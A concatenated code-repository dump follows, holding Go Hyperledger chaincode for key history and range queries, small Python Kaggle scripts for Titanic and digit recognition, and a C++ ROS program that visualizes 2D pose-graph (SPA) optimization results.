return "", fmt.Errorf("Incorrect arguments. Expecting a key")
}
value, err := stub.GetHistoryForKey(args[0])
if err != nil {
return "", fmt.Errorf("Failed to get asset: %s with error: %s", args[0], err)
}
if value == nil {
return "", fmt.Errorf("Asset not found: %s", args[0])
}
var retval string
var certificate string
result := "["
for value.HasNext() {
kvpair, _ := value.Next()
if strings.Contains(string(kvpair.Value), "----BEGIN -----") {
valueSlice := strings.Split(string(kvpair.Value), "-----END -----")
retval = strings.TrimLeft(valueSlice[1], "\n")
firstcertSlice := strings.Split(string(kvpair.Value), "----BEGIN -----")
finalCertSlice := strings.Split(string(firstcertSlice[1]), "-----END -----")
certificate = finalCertSlice[0]
} else if strings.Contains(string(kvpair.Value), "----BEGIN CERTIFICATE-----") {
valueSlice := strings.Split(string(kvpair.Value), "-----END CERTIFICATE-----")
retval = strings.TrimLeft(valueSlice[1], "\n")
firstcertSlice := strings.Split(string(kvpair.Value), "----BEGIN CERTIFICATE-----")
finalCertSlice := strings.Split(string(firstcertSlice[1]), "-----END CERTIFICATE-----")
certificate = finalCertSlice[0]
} else {
retval = string(kvpair.Value)
certificate = "null"
}
result = result + "timestamp: " + strconv.FormatInt(kvpair.Timestamp.GetSeconds(), 10) + " value: " + retval + " certificate: " + certificate
if value.HasNext() {
result = result + ", "
}
}
return result + "]", nil
}
// Gets the KV-pairs within a range of keys. The range specified is not specified on the range of
// strings but rather the value of theese strings. This means that searching for keys between eg.
// key123 and key133352 might not returnt only those named key between key123 and key133352.
func getbyrange(stub shim.ChaincodeStubInterface, args []string) (string, error) {
if len(args) != 2 {
return "", fmt.Errorf("Incorrect arguments. Expecting a start-key and end-key")
}
value, err := stub.GetStateByRange(args[0], args[1])
if err != nil {
return "", fmt.Errorf("Failed to get asset: %s with error: %s", args[0], err)
}
if value == nil {
return "", fmt.Errorf("No assset found: %s", args[0])
}
result := "["
var retval string
for value.HasNext() {
kvpair, _ := value.Next()
if strings.Contains(string(kvpair.Value), "----BEGIN -----") {
valueSlice := strings.Split(string(kvpair.Value), "-----END -----")
retval = strings.TrimLeft(valueSlice[1], "\n")
} else if strings.Contains(string(kvpair.Value), "----BEGIN CERTIFICATE-----") {
valueSlice := strings.Split(string(kvpair.Value), "-----END CERTIFICATE-----")
retval = strings.TrimLeft(valueSlice[1], "\n")
} else {
retval = string(kvpair.Value)
}
result = result + string(kvpair.Key) + ": " + retval
if value.HasNext() {
result = result + ", "
}
}
return result + "]", nil
}
func main() {
err := shim.Start(new(SimpleAsset))
if err != nil {
fmt.Printf("Error starting Simple chaincode: %s", err)
}
}
|
e7c3872c7bded37b67b1408f25cbeab6ec80ae39
|
[
"JavaScript",
"Go",
"Markdown"
] | 3 |
JavaScript
|
Tunstad/hyperledger-pi-composer
|
b9e6423e388d64a280bdfba5204b792182cd1fb2
|
6bee3df5fc101827bed8ce33f21f8b2f443575a0
|
refs/heads/master
|
<file_sep>Code for Some of Kaggle Challenges:
1) Titanic
2) Digit Recognizer
<file_sep>
# coding: utf-8
# In[12]:
from sklearn.neighbors import KNeighborsClassifier
import csv as csv
import numpy as np
def read_data(file):
data = []
with open(file, 'rt', encoding = "utf8") as csvfile:
csv_reader = csv.reader(csvfile)
# This skips the first row of the CSV file.
# csvreader.next() also works in Python 2.
header = next(csv_reader)
for row in csv_reader:
data.append(row[0::])
data = np.asarray(data)
return data
# In[13]:
def write_data(test_labels):
predictions_file = open("digit_predictions.csv", "wt")
csv_writer = csv.writer(predictions_file)
csv_writer.writerow(["ImageId", "Label"])
image_id = 0
for label in test_labels:
csv_writer.writerow([image_id, label])
image_id = image_id + 1
predictions_file.close()
# In[14]:
def digit_recognizer(train_file, test_file):
train_data = read_data(train_file)
#get labels and features
labels = train_data[:, 0]
features = train_data[:, 1:]
#train using knn
print('training phase has been started')
knn = KNeighborsClassifier()
knn.fit(features, labels)
print('training phase has been finished')
#test the model
print('testing phase has been started')
test_data = read_data(test_file)
##test_data = test_data[0:10, :]
test_labels = knn.predict(test_data)
print('testing phase has been finished')
#write predictions
write_data(test_labels)
digit_recognizer('/Users/anahita/Documents/PythonRepository/Digit Recognizer/train.csv', '/Users/anahita/Documents/PythonRepository/Digit Recognizer/test.csv')
# In[ ]:
<file_sep>
# coding: utf-8
# Simple classification
# In[60]:
import csv as csv
import numpy as np
#read and store data
def read_data(file):
data = []
with open(file, 'rt', encoding = "utf8") as csvfile:
csv_reader = csv.reader(csvfile)
# This skips the first row of the CSV file.
# csvreader.next() also works in Python 2.
header = next(csv_reader)
for row in csv_reader:
data.append(row[0::])
data = np.asarray(data)
return data
# In[61]:
import numpy as np
def analyze_data(data):
women_data = data[0::, 4] == 'female'
men_data = data[0::, 4] == 'male'
women_survived = data[women_data, 1].astype(np.float) == np.float(1)
men_survived = data[men_data, 1].astype(np.float) == np.float(1)
portion_women_survived = np.sum(women_survived) / np.sum(women_data)
portion_men_survived = np.sum(men_survived) / np.sum(men_data)
print ("portion of women that survived is %s." % portion_women_survived)
print ("portion of men that survived is %s" % portion_men_survived)
women_greater = (portion_women_survived > portion_men_survived)
return women_greater
# In[ ]:
# In[67]:
def test(test_file, women_greater):
test_data = read_data(test_file)
predictions_file = open("gendermodel.csv", "wt")
csv_writer = csv.writer(predictions_file)
csv_writer.writerow(["PassengerId", "Survived"])
for row in test_data:
if(row[3] == "female"):
if(women_greater):
csv_writer.writerow([row[0], "1"])
else:
csv_writer.writerow([row[0], "0"])
else:
if(women_greater):
csv_writer.writerow([row[0], "0"])
else:
csv_writer.writerow([row[0], "1"])
predictions_file.close()
# In[68]:
def titanic_ml(train_file, test_file):
train_data = read_data(train_file)
women_greater = analyze_data(train_data)
test(test_file, women_greater)
titanic_ml('/Users/anahita/Desktop/train.csv', '/Users/anahita/Desktop/test.csv')
# In[ ]:
|
5b971a018ba5e0aa424a9b47f1ac11e38e5dcfd1
|
[
"Markdown",
"Python"
] | 3 |
Markdown
|
mehnajafi/Kaggle
|
3aa8483af654cad000eaada22e2a71ffa381536c
|
08bb70deb6664ea174e8868f3812301d3d26b763
|
refs/heads/main
|
<repo_name>jstoja/grokking_algorithms<file_sep>/go/main_test.go
package main
import "testing"
func TestSearch(t *testing.T) {
graph := map[string][]string{
"you": {"claire", "bob", "alice"},
"bob": {"anuj", "peggy"},
"alice": {"peggy"},
"claire": {"thom", "jonny"},
}
tests := []map[string]bool{
{"you": true},
{"lol": false},
}
for _, test := range tests {
for k, v := range test {
if search(graph, k) != v {
t.Error("Should have been", v)
}
}
}
}
<file_sep>/rust/src/chapter1_4.rs
use std::{cmp::Ordering, fmt::Debug, ops::Add, usize};
use rand::{Rng, thread_rng};
pub fn binary_search(l: &[i32], item: &i32) -> Result<i32, &'static str> {
let mut low: i32 = 0;
let mut high: i32 = (l.len() as i32) -1;
let mut mid;
let mut guess: i32;
while low <= high {
mid = (low + high)/2;
guess = *l.get(mid as usize).unwrap();
match guess.cmp(item) {
Ordering::Greater => high = mid - 1,
Ordering::Equal => return Ok(mid as i32),
Ordering::Less => low = mid + 1,
}
}
Err("Guess not found")
}
pub fn selection_sort<T: Copy + Ord>(list: Vec<T>) -> Vec<T> {
let mut list = list;
let mut sorted: Vec<T> = Vec::new();
for _ in 0..list.len() {
let mut lowest: usize = 0;
for (i, item) in list.iter().enumerate() {
if *item < list[lowest] {
lowest = i
}
}
sorted.push(list.remove(lowest));
}
sorted
}
pub fn factorial(n: u8) -> u32 {
match n.cmp(&1) {
Ordering::Equal | Ordering::Less => 1,
_ => n as u32 * factorial(n-1)
}
}
pub fn land_split(w: u32, h: u32) -> u32 {
if w.min(h) == 0 || w == h {
w.max(h)
} else if w > h {
land_split(w%h, h)
} else {
land_split(w, h%w)
}
}
pub fn rec_sum<T: Clone + Add<Output = T>>(list: &[T]) -> T {
match list.len() {
1 => list[0].clone(),
_ => list[0].clone() + rec_sum(&list[1..])
}
}
pub fn rec_len<T>(list: &[T]) -> usize {
match list {
[] => 0,
_ => 1 + rec_len(&list[1..])
}
}
pub fn rec_max<T: Ord + Clone>(list: &[T]) -> T {
match list.len() {
1 => return list[0].clone(),
s @ _ => rec_max(&list[..s/2]).max(rec_max(&list[s/2..])),
}
}
pub fn rec_binary_search<T: Ord + Clone + Debug>(list: &[T], item: T) -> Result<usize, &'static str> {
match list.len() {
0 => return Err("Empty"),
1 if list[0] == item => Ok(0),
1 if list[0] != item => Err("Guess not found"),
s @ _ => {
let left = rec_binary_search(&list[..s/2], item.clone());
let right = rec_binary_search(&list[s/2..], item.clone());
// If left, we don't need to increment
if right.is_ok() {
// if right, we need to increment depending on where we split
Ok(right.unwrap()+ s/2)
} else {
left
}
}
}
}
pub fn quicksort<T: Ord + Clone + Debug>(list: &Vec<T>) -> Vec<T> {
match list.len() {
0 => vec![],
1 => list.to_vec(),
2 if list[0] >= list[1] => vec![list[1].clone(), list[0].clone()],
2 if list[0] < list[1] => list.to_vec(),
s @ _ => {
let pivot_idx = thread_rng().gen_range(0..s);
let pivot = list[pivot_idx].clone();
let mut to_sort = list.clone();
to_sort.remove(pivot_idx);
let smaller = to_sort.iter().filter(|&i| i <= &pivot).cloned().collect::<Vec<_>>();
let higher = to_sort.iter().filter(|&i| i > &pivot).cloned().collect::<Vec<_>>();
[quicksort(&smaller).to_vec(), quicksort(&higher).to_vec()].join(&pivot)
}
}
}
<file_sep>/go/go.mod
module github.com/jstoja/grokking_rust/go
go 1.15
<file_sep>/go/main.go
package main
func person_is_seller(name string) bool {
return name[len(name)-1] == 'm'
}
func search(graph map[string][]string, name string) bool {
search_queue := []string{}
for _, friend := range graph[name] {
search_queue = append(search_queue, friend)
}
for len(search_queue) > 0 {
person := search_queue[0]
search_queue = search_queue[1:]
if person_is_seller(person) {
println("Found a seller", person)
return true
} else {
for _, friend := range graph[person] {
search_queue = append(search_queue, friend)
}
}
}
return false
}
<file_sep>/rust/src/lib.rs
mod chapter1_4;
mod chapter5_;
use chapter1_4::*;
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_binary_search() {
let data = vec![1, 3, 5, 7, 9];
let tests = vec![
(3, Ok(1)),
(-1, Err("Guess not found")),
(2, Err("Guess not found")),
(9, Ok(4)),
];
for test in tests.iter() {
assert_eq!(binary_search(&data, &test.0), test.1);
}
}
#[test]
fn test_selection_sort() {
assert_eq!(
selection_sort(vec![2,3,4,1,7,4,5]),
vec![1,2,3,4,4,5,7]
)
}
#[test]
fn test_factorial() {
assert_eq!(factorial(5), 120)
}
#[test]
fn test_land_split() {
assert_eq!(land_split(1680, 640), 80)
}
#[test]
fn test_rec_sum() {
assert_eq!(rec_sum(&vec![1,2,3]), 6);
}
#[test]
fn test_rec_len() {
assert_eq!(rec_len(&vec![1,2,3,4]), 4)
}
#[test]
fn test_rec_max() {
assert_eq!(rec_max(&vec![1,5,4,2,3]), 5)
}
#[test]
fn test_rec_binary_search() {
let data = vec![1, 3, 5, 7, 9];
let tests = vec![
(3, Ok(1)),
(-1, Err("Guess not found")),
(2, Err("Guess not found")),
(9, Ok(4)),
];
for test in tests.iter() {
assert_eq!(rec_binary_search(&data, test.0), test.1);
}
}
#[test]
fn test_quicksort() {
assert_eq!(
quicksort(&vec![2,3,4,1,7,4,5]),
vec![1,2,3,4,4,5,7]
)
}
}<file_sep>/README.md
# grokking_algorithms
I wanted to re-review basic data structures and algorithms using the Grokking Algorithms book.
I took this as s justification to try implementing each algorithm encountered in Rust.
That being said, after 4 chapters it became clear that I wouldn't use Rust for any or my projects because the added values didn't counter-balance my needs.
I would be more productive working with Python or Go, mainly because of not caring about memory management (lifetimes, box, borrows, ...).
That's the reason why starting chapter 5, this I've implemented things in Go instead.
|
b5557dc149ca5cc15387ec0a69d1d00f0fe029a2
|
[
"Markdown",
"Rust",
"Go Module",
"Go"
] | 6 |
Go
|
jstoja/grokking_algorithms
|
517c1c76b2b99ae2ac9334cdf2446d2f63ca60fc
|
156e41fd12db8dc0431ba0dfd422d7e84c0c6f2c
|
refs/heads/master
|
<file_sep>package my.steno.test;
import java.util.Base64;
import my.steno.StenoUtils;
public class GetInformations {
public static void main(String[] args) {
System.out.println("--**************************** START *******************");
long start = System.currentTimeMillis();
String fileNameFullPath = "";
if (args == null || args.length <= 0) {
System.err.println("No fileNameFullPath found");
return;
}
fileNameFullPath = args[0];
// Get back the data.
String hiddenData64 = StenoUtils.getHiddenData(fileNameFullPath);
System.out.println("!hiddenData64 data: " + hiddenData64);
if (hiddenData64 == null) {
System.err.println("Data not found");
} else {
String hiddenData = new String(Base64.getDecoder().decode(hiddenData64));
System.out.println("!hidden data: " + hiddenData);
}
long end = System.currentTimeMillis();
System.out.println((end - start) / 1000f + " seconds");
System.out.println("--************************************ DONE *****************");
}
}
<file_sep>package my.steno;
public class MakeIt {
public final static String INFO = "INFO";
public final static String WRITE = "WRITE";
public static void main(String[] args) {
System.out.println("--**************************** START *******************");
long start = System.currentTimeMillis();
if (args == null || args.length <= 0 || args.length < 3) {
System.err.println(
"No parameters not found, 1:methodName(INFO-WRITE-....) 2:directoryPath 3:pictureFullPathWithName(for info, other put '')");
return;
}
String methodName = args[0];
String directoryPath = args[1];
String fileNameFullPath = args[2];
if (INFO.equals(methodName)) {
Informations info = new Informations();
info.getInfo(fileNameFullPath);
} else if (WRITE.equals(methodName)) {
Writter write = new Writter();
write.writeHiddenText(directoryPath);
}
long end = System.currentTimeMillis();
System.out.println((end - start) / 1000f + " seconds");
System.out.println("--************************************ DONE *****************");
}
}
<file_sep># Steno
Hidden text on picture, like signature but into picture for don't denaturate the picture with text on, put inside it's good
Run MakeIt.java with 3 parameters.
For write hidden data: WRITE D:\workspace\steno\steno\data nothing
For information about hidden data: INFO nothing D:\workspace\steno\steno\data\DSC_2609.jpg
Put the jar sortidocorpsteno.jar on a directory, with showInfo.bat or WriteData.bat.
Run the bat with your parameters.
Enjoy!
<file_sep>package my.steno;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.Stream;
public class StenoUtils {
private StenoUtils() {
}
/**
* Index to retreive hidden text.
*/
private static String INDEX = "@@@@@@";
/**
* Hide the data contents inside the picture.
*
* @param picture
* the picture
* @param text
* the text
* @throws IOException
* Signals that an I/O exception has occurred.
*/
public static void hideTextData(File picture, String text) throws IOException {
try (FileOutputStream fos = new FileOutputStream(picture, true)) {
byte[] encodedString = text.getBytes();
fos.write(INDEX.getBytes());
fos.write(encodedString);
fos.close();
} catch (Exception e) {
System.err.println("FileName= " + picture.getName());
throw new IllegalArgumentException(e);
}
}
/**
* Get the hidden data from an picture.
*
* @param fileNameFullPath
* the file name full path
* @return the hidden data
*/
public static String getHiddenData(String fileNameFullPath) {
File file = new File(fileNameFullPath);
if (!file.exists()) {
throw new IllegalArgumentException("no file found");
}
try (InputStream inStream = new FileInputStream(file)) {
byte[] fileData = new byte[(int) file.length()];
inStream.read(fileData);
inStream.close();
String tempFileData = new String(fileData);
if (tempFileData.indexOf(INDEX) >= 0) {
return tempFileData.substring(tempFileData.indexOf(INDEX) + INDEX.length(), tempFileData.length());
}
return null;
} catch (Exception e) {
throw new IllegalArgumentException(e);
}
}
/**
* Gets the pictures.
*
* @param directory
* the directory
* @return the pictures
*/
public static List<File> getPictures(File directory) {
// trie du dossier, pour avoir que les fichiers de type jpg.
String[] fileName = directory.list((dir, name) -> name.endsWith(".jpg"));
// transformation du tableau de string en list de fichier.
return Stream.of(fileName).map(s -> new File(directory + "/" + s)).collect(Collectors.toList());
// return
// Stream.of(fileName).map(File::new).collect(Collectors.toList());
}
}
|
0e47545758f1c0e7570f123fc9c5a68760ea3b20
|
[
"Markdown",
"Java"
] | 4 |
Java
|
sortidocorps/Steno
|
f7236f910711e81b38153a0724efe4f57d175511
|
19d1725cab2da8a78416549eb77f2e049a7f130d
|
refs/heads/master
|
<file_sep>add_definitions(-DSBA_CHOLMOD)
<file_sep>/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2009, <NAME>, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the <NAME> nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
//
// Visualizing pose graph results for 2d datasets
//
#include <ros/ros.h>
#include <visualization_msgs/Marker.h>
#include <geometry_msgs/Point.h>
#include <utility>
#include <stdio.h>
#include <iostream>
#include <iomanip>
#include <fstream>
#include "sba/read_spa.h"
#include "sba/sba.h"
#include "sba/spa2d.h"
#include <Eigen/Cholesky>
using namespace Eigen;
using namespace std;
using namespace sba;
#include <sys/time.h>
// elapsed time in microseconds
static long long utime()
{
timeval tv;
gettimeofday(&tv,NULL);
long long ts = tv.tv_sec;
ts *= 1000000;
ts += tv.tv_usec;
return ts;
}
// use zero coords for nodes
static int useInit = 0;
void buildConstraintCache(std::multimap<int,int>& constraintCache, std::vector< Eigen::Vector2i, Eigen::aligned_allocator<Eigen::Vector2i> >& cind){
for (size_t i=0; i<cind.size(); ++i){
int idx_a=cind[i].x();
int idx_b=cind[i].y();
if (idx_a<idx_b){
int aux=idx_a;
idx_a=idx_b;
idx_b=aux;
}
constraintCache.insert(std::make_pair(idx_a,i));
}
}
//
// add a single node to the graph, in the position given by sequential constraint
//
int
addnode(SysSPA2d &spa, int n,
std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > &ntrans,
std::vector< double > &arots,
std::vector< Eigen::Vector2i, Eigen::aligned_allocator<Eigen::Vector2i> > &cind,
std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > &ctrans,
std::vector< double > &carot,
std::vector< Eigen::Matrix<double,3,3>, Eigen::aligned_allocator<Eigen::Matrix<double,3,3> > > &cvar,
std::multimap<int,int>& constraintCache)
{
Node2d &nd0 = spa.nodes[n-1];
Node2d nd1;
int cnum=0;
std::multimap<int,int>::iterator it=constraintCache.lower_bound(n);
bool first=true;
while (it!=constraintCache.end() && (cind[it->second].x()<n || cind[it->second].y()<n)){
int i = it->second;
if (first) {
if (cind[i].x() == n-1&&
cind[i].y() == n) // found it!
{
// set node rotation
double a = carot[i];
nd1.arot = nd0.arot + a;
nd1.normArot();
// set node translation
Vector2d itr = nd0.w2n.transpose().block<2,2>(0,0) * ctrans[i];
nd1.trans = nd0.trans;
nd1.trans.head(2) += itr;
if (useInit == 1) // file init
{
nd1.trans.head(2) = ntrans[n]; // init to file params
nd1.arot = arots[n];
nd1.normArot();
}
else if (useInit == 2)
nd1.trans.head(2) = Vector2d(0.0,0.001*n); // init to zero
// add in to system
nd1.setTransform(); // set up world2node transform
nd1.setDr();
spa.nodes.push_back(nd1);
// cout << "Found node " << n << endl;
first=false;
}
else if (cind[i].x() == n &&
cind[i].y() == n-1) // found it, but reversed
{
// set node rotation
double a = -carot[i];
nd1.arot = nd0.arot + a;
nd1.normArot();
nd1.setTransform(); // set up world2node transform
// set node translation
Vector2d itr = nd1.w2n.transpose().block<2,2>(0,0) * ctrans[i];
nd1.trans = nd0.trans;
nd1.trans.head(2) -= itr;
if (useInit == 1) // file init
{
nd1.trans.head(2) = ntrans[n]; // init to file params
nd1.arot = arots[n];
nd1.normArot();
}
else if (useInit == 2)
nd1.trans.head(2) = Vector2d(0.0,0.001*n); // init to zero
// add in to system
nd1.setDr();
spa.nodes.push_back(nd1);
// cout << "Found node rev " << n << endl;
first=false;
}
}
Con2dP2 con;
con.ndr = cind[i].x();
con.nd1 = cind[i].y();
if ((con.ndr == n && con.nd1 <= n-1) ||
(con.nd1 == n && con.ndr <= n-1))
{
++cnum;
con.tmean = ctrans[i];
con.amean = carot[i];
con.prec = cvar[i]; // ??? should this be inverted ???
spa.p2cons.push_back(con);
}
++it;
}
return cnum;
}
// drawing the graph
// draw the graph on rviz
void
drawgraph(SysSPA2d &spa, ros::Publisher &marker_pub, ros::Publisher &marker2_pub, ros::Publisher &marker_pts_pub)
{
visualization_msgs::Marker marker, marker2, marker_pts;
marker.header.frame_id = "/pgraph";
marker.header.stamp = ros::Time();
marker.ns = "pgraph";
marker.id = 0;
// marker.type = shape;
marker.action = visualization_msgs::Marker::ADD;
marker.pose.position.x = 0;
marker.pose.position.y = 0;
marker.pose.position.z = 0;
marker.pose.orientation.x = 0.0;
marker.pose.orientation.y = 0.0;
marker.pose.orientation.z = 0.0;
marker.pose.orientation.w = 1.0;
marker.scale.x = 0.3;
marker.scale.y = 1.0;
marker.scale.z = 1.0;
marker.color.r = 0.0f;
marker.color.g = 1.0f;
marker.color.b = 0.0f;
marker.color.a = 1.0;
marker.lifetime = ros::Duration();
marker2 = marker;
marker2.color.r = 1.0f;
marker2.color.g = 0.0f;
marker2.color.b = 0.0f;
marker2.color.a = 1.0;
marker_pts = marker;
marker_pts.scale.x = 0.2;
marker_pts.scale.y = 0.2;
marker_pts.scale.z = 0.01;
marker_pts.color.r = 1.0f;
marker_pts.color.g = 1.0f;
marker_pts.color.b = 0.0f;
marker_pts.color.a = 1.0;
int ncons = spa.p2cons.size();
int ngood = 0;
int nbad = 0;
double good_thresh = 0.02;
marker.type = visualization_msgs::Marker::LINE_LIST;
marker2.type = visualization_msgs::Marker::LINE_LIST;
marker_pts.type = visualization_msgs::Marker::POINTS;
// find number of good and bad links
for (int i=0; i<ncons; ++i)
{
Con2dP2 &con = spa.p2cons[i];
Node2d &nd0 = spa.nodes[con.ndr];
Node2d &nd1 = spa.nodes[con.nd1];
if (con.calcErrDist(nd0,nd1) > good_thresh*good_thresh)
++nbad;
else
++ngood;
}
marker.points.resize(2*ngood);
marker2.points.resize(2*nbad);
nbad += nbad-1;
ngood += ngood-1;
for (int i=0; i<ncons; ++i)
{
Con2dP2 &con = spa.p2cons[i];
Node2d &nd0 = spa.nodes[con.ndr];
Node2d &nd1 = spa.nodes[con.nd1];
if (con.calcErrDist(nd0,nd1) > good_thresh*good_thresh)
{
marker2.points[nbad].x = nd0.trans.x();
marker2.points[nbad].y = nd0.trans.y();
marker2.points[nbad--].z = 0.0;
marker2.points[nbad].x = nd1.trans.x();
marker2.points[nbad].y = nd1.trans.y();
marker2.points[nbad--].z = 0.0;
}
else
{
marker.points[ngood].x = nd0.trans.x();
marker.points[ngood].y= nd0.trans.y();
marker.points[ngood--].z = 0.0;
marker.points[ngood].x = nd1.trans.x();
marker.points[ngood].y = nd1.trans.y();
marker.points[ngood--].z = 0.0;
}
}
// find number of points
int nskip = 20;
int nscans = spa.scans.size();
if (nscans > (int)spa.nodes.size())
nscans = spa.nodes.size();
int npts = 0;
for (int i=0; i<nscans; ++i)
npts += spa.scans[i].size()/nskip + 1;
marker_pts.points.resize(npts);
// draw points
for (int i=0; i<nscans; ++i)
{
std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > &scan = spa.scans[i];
Node2d &nd = spa.nodes[i];
Matrix<double,2,3> n2w;
n2w.col(2) = nd.trans.head(2);
n2w.block<2,2>(0,0) = nd.w2n.block<2,2>(0,0).transpose();
for (int j=0; j<(int)scan.size(); j+=nskip)
{
Vector3d v;
v.head(2) = scan[j];
v(2) = 1.0;
Vector2d p = n2w * v;
marker_pts.points[--npts].x = p[0];
marker_pts.points[npts].y = p[1];
marker_pts.points[npts].z = 0.0;
}
}
marker_pub.publish(marker);
marker2_pub.publish(marker2);
marker_pts_pub.publish(marker_pts);
}
//
// first argument is the name of input file.
// files are in Freiburg's VERTEX2/EDGE2/POINT2 format
// runs SPA
//
int main(int argc, char **argv)
{
char *fin;
if (argc < 2)
{
cout << "Arguments are: <input filename> [<number of nodes to use>] [<iters (5)>] [<1=file init, 2=zero init>]" << endl;
return -1;
}
// number of nodes to increment each time
int inn = 10;
if (argc > 2)
inn = atoi(argv[2]);
int doiters = 5;
if (argc > 3)
doiters = atoi(argv[3]);
if (argc > 4)
useInit = atoi(argv[4]);
fin = argv[1];
// node translation
std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > ntrans;
// node rotation
std::vector< double > arots;
// constraint indices
std::vector< Eigen::Vector2i, Eigen::aligned_allocator<Eigen::Vector2i> > cind;
// constraint local translation
std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > ctrans;
// constraint local rotation as quaternion
std::vector< double > carot;
// constraint precision
std::vector< Eigen::Matrix<double,3,3>, Eigen::aligned_allocator<Eigen::Matrix<double,3,3> > > cvar;
// scans
std::vector< std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > > scans;
ReadSPA2dFile(fin,ntrans,arots,cind,ctrans,carot,cvar,scans);
int npts = 0;
for (int i=0; i<(int)scans.size(); ++i)
npts += scans[i].size();
cout << "[ReadSPA2dFile] Found " << (int)ntrans.size() << " nodes, "
<< (int)cind.size() << " constraints, and "
<< npts << " points" << endl;
cout << "# building constraint cache... ";
std::multimap<int,int> constraintCache;
buildConstraintCache(constraintCache,cind);
cout << "done" << endl;
// system
SysSPA2d spa;
spa.scans = scans;
// use max nodes if we haven't specified it
int nnodes = ntrans.size();
// add first node
Node2d nd;
// rotation
nd.arot = arots[0];
// translation
Vector3d v;
v.head(2) = ntrans[0];
v(2) = 1.0;
nd.trans = v;
cout << nd.trans.transpose() << endl << endl;
// add to system
nd.setTransform(); // set up world2node transform
nd.setDr();
spa.nodes.push_back(nd);
spa.nFixed = 1; // one fixed frame
// set up markers for visualization
ros::init(argc, argv, "vis_2d");
ros::NodeHandle n ("~");
ros::Publisher marker_pub = n.advertise<visualization_msgs::Marker>("good_graph_links", 0);
ros::Publisher marker2_pub = n.advertise<visualization_msgs::Marker>("bad_graph_links", 0);
ros::Publisher marker_pts_pub = n.advertise<visualization_msgs::Marker>("scan_points", 0);
// wait for the user to signal go-ahead
cout << "[TestSPA] Ready!" << endl;
string input = "";
getline(cin,input);
int iter = 0;
double cumTime = 0.0;
bool contin = false;
int onn = 1;
int nn = 1;
while (ros::ok())
{
nn += inn;
if (nn > nnodes) nn = nnodes;
// add in nodes
if (onn < nnodes)
{
for (int i=onn; i<nn; ++i)
addnode(spa, i, ntrans, arots, cind, ctrans, carot, cvar, constraintCache);
}
cout << "[SysSPA2d] Using " << (int)spa.nodes.size() << " nodes and "
<< (int)spa.p2cons.size() << " constraints" << endl;
if (iter == 0)
{
printf("[TestSPA] Distance cost: %0.3f m rms\n", sqrt(spa.calcCost(true)/(double)spa.p2cons.size()));
printf("[TestSPA] Chi-square cost: %0.3f\n", spa.calcCost());
}
cout << "[TestSPA] Publishing " << iter << endl;
++iter;
drawgraph(spa,marker_pub,marker2_pub,marker_pts_pub);
if (!contin)
{
getline(cin,input);
if (input[0] == 'c')
{
contin = true;
spa.verbose = false;
}
}
// do 10 iterations "t"
if (input[0] == 't')
spa.doSPA(40,1.0e-4,1);
else
{
long long t0, t1;
t0 = utime();
// spa.doSPAwindowed(110,10,1.0e-4,1);
spa.nFixed = 1; // one fixed frame
spa.doSPA(doiters,0.0,1);
// spa.doDSIF(onn); // this runs the Delayed Sparse Info Filter
t1 = utime();
#if 0
cerr << "#DSIF" << endl;
double dt=1e-6*(double)(t1-t0) ;
cumTime+=dt;
cerr << "nodes= " << spa.nodes.size()
<< "\t edges= " << spa.p2cons.size()
<< "\t chi2= ?? "
<< "\t time= " << dt
<< "\t iterations= " << 1
<< "\t cumTime= " << cumTime
<< "\t chi2= " << spa.calcCost()
<< endl;
#endif
printf("[TestSPA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)doiters);
printf("[TestSPA] Distance cost: %0.3f m rms\n", sqrt(spa.calcCost(true)/(double)spa.p2cons.size()));
printf("[TestSPA] Chi-square cost: %0.3f\n", spa.calcCost());
}
onn = nn;
if (nn == nnodes)
{
contin = false;
spa.verbose = true;
}
// if (contin)
// ros::Duration(0.01).sleep();
}
return 0;
}
<file_sep>/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2009, <NAME>, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the <NAME> nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
